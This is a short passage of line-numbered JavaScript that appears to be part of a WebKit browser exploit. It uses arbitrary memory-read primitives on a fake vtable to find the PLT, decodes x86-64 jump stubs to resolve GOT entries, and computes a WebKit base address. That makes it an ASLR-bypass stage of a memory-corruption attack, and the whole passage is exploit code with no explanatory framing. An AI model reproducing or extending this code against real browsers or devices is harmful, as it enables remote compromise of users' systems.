(idx)
| 15 | var plt_ptr = read_ptr_at(fake_vtable) - 17100888; |
| 16 | |
| 17 | function get_got_addr(idx) |
| 18 | { |
| 19 | var p = plt_ptr + idx * 16; |
| 20 | var q = read_mem(p, 6); |
| 21 | if(q[0] != 0xff || q[1] != 0x25) |
| 22 | throw "invalid GOT entry"; |
| 23 | var offset = 0; |
| 24 | for(var i = 5; i >= 2; i--) |
| 25 | offset = offset * 256 + q[i]; |
| 26 | offset += p + 6; |
| 27 | return read_ptr_at(offset); |
| 28 | } |
| 29 | |
| 30 | //these are not real bases but rather some low addresses |
| 31 | var webkit_base = read_ptr_at(fake_vtable) - 0x1000000; |
no test coverage detected